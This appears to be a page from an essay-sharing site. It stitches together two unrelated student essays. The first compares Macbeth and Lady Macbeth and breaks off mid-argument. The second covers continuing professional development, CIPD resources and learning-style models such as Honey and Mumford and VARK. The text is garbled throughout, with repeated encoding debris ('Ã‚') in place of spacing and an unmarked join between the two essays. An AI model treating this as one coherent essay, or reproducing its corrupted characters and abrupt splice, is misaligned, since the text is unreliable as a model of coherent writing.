Macbeth A Comparison of the characters Macbeth and Lady Macbeth   Ã‚  Ã‚  Ã‚  Ã‚  The play Macbeth, written by the playwright William Shakespeare, has two main characters, Macbeth and Lady Macbeth. Macbeth is a general of Duncan’s army, and Lady Macbeth is his wife. Each of these two characters have different personalities and traits, however they are married to each other and appear to be in love.   Ã‚  Ã‚  Ã‚  Ã‚  Macbeth first appeared in the play in (i.ii). He is a Scottish general fighting under Duncan’s rule. He is portrayed as a valiant soldier and a powerful man with honor and allegiance to his country. Duncan, the king of Scotland, also gave him the title of the Thane of Cawdor, which is a high honor.   Ã‚  Ã‚  Ã‚  Ã‚  However, as the play proceeds, the reader becomes aware that Macbeth has some other personality traits as well. When Macbeth first meets with the three witches, and they tell him their prediction of him becoming a future king, the first characteristics that the reader learns now coincide with some new ones, self-doubt, and the realization that others can easily influence Macbeth.   Ã‚  Ã‚  Ã‚  Ã‚  Lady Macbeth first comes across to us as an evil person. When the reader first comes into contact with Lady Macbeth (i.v), she receives a letter telling her about the witches’ prophecy of Macbeth becoming king; she immediately begins to plan Duncan’s murder. She believes that by making Macbeth kill Duncan, she would be able to get closer to the throne of Scotland, which then would give her an immense power. Lady Macbeth appears to be driven by the longing for power throughout the first two scenes of the play, and also comes across with tons of power over her husband.   Ã‚  Ã‚  Ã‚  Ã‚  When Macbeth first speaks to Lady Macbeth about the prediction that the three witches had of him becoming king, she encourages him to kill Duncan. Macbeth, on the other hand, is nervous about the consequences and the repercussions of committing murder, and almost decides not to do it. Lady Macbeth then proceeds to almost make fun of Macbeth by questioning his purpose as a man.

Importance Of Continuing Professional Development Essay

Continual professional development is improving ones skill and abilities benefiting the individual and the organisation. It is also taking responsibility for ones learning. In these changing times where most people no longer have a job for life, learning is crucial for employability, also as business technology evolves at a much faster pace, individuals need to keep up to date with latest way of doing things – CPD can help to achieve this. My development needs There are different means by which you can develop your skills, knowledge and behaviours, for instance by accessing the Cipd website, reading daily alerts, resourcing journals online and by attending Cipd events I am able to keep up to date with current issues across the sector. I have already started to do this, and have booked myself onto some of the Cipd events. I can improve my knowledge by planning time to go through financial and reporting systems that my organisation uses, with my line/ store manager. I can also research the company intranet, as it contains a wealth of information. By attending ‘Vision’ courses in my workplace I start to think about my personal behaviours, such as self-awareness, which in turn can help me be a better role model for others. I have an interest in performance and reward management and so I am looking forward to the module on this, I will also be having a thorough look at this in my workplace, and also plan to look into performance an d reward that our competitors offer. CPD is important to me for the following reasons,  1, to enable me to improve my skill set making me more employable across the sector. 2, to help build my self-confidence, in a competitive job market. 3, to enable me to be aware of current goings on within the sector. 4, It will make me a more knowledgeable individual which will in turn benefit my team and organisation. Development Options There are many different ways of meeting continued professional needs, and different tools that can be used to help learning, these include reinforcement theories, cybernetic and information theories, cognitive  theories and problem solving and the experiential learning cycle. There are different learning style questionnaires that help people to identify which style of learning suits them, this can then be used to deliver training and learning. For example, Honey and Mumfords learning cycle suggests the following learning styles, Activist, Reflector, Theorist and Pragmatist. The VARK questionnaire is a similar tool concentrating on Visual, Aural, Read and Kinaesthetic methods of learning. In most cases people fall into more than one category, so learning styles need to be adapted so that people are able to get something out of the training. It is important to keep the training varied to account for this. Personally I prefer a mix of visual images to support my learning with some text. I also prefer to see something in conjunction with listening to a lecture, I find the visual image helps to embed the learning. It is important to be open to new styles of learning, and if I find that I am struggling with something using the internet to help find a different reports which I may find easier to understand.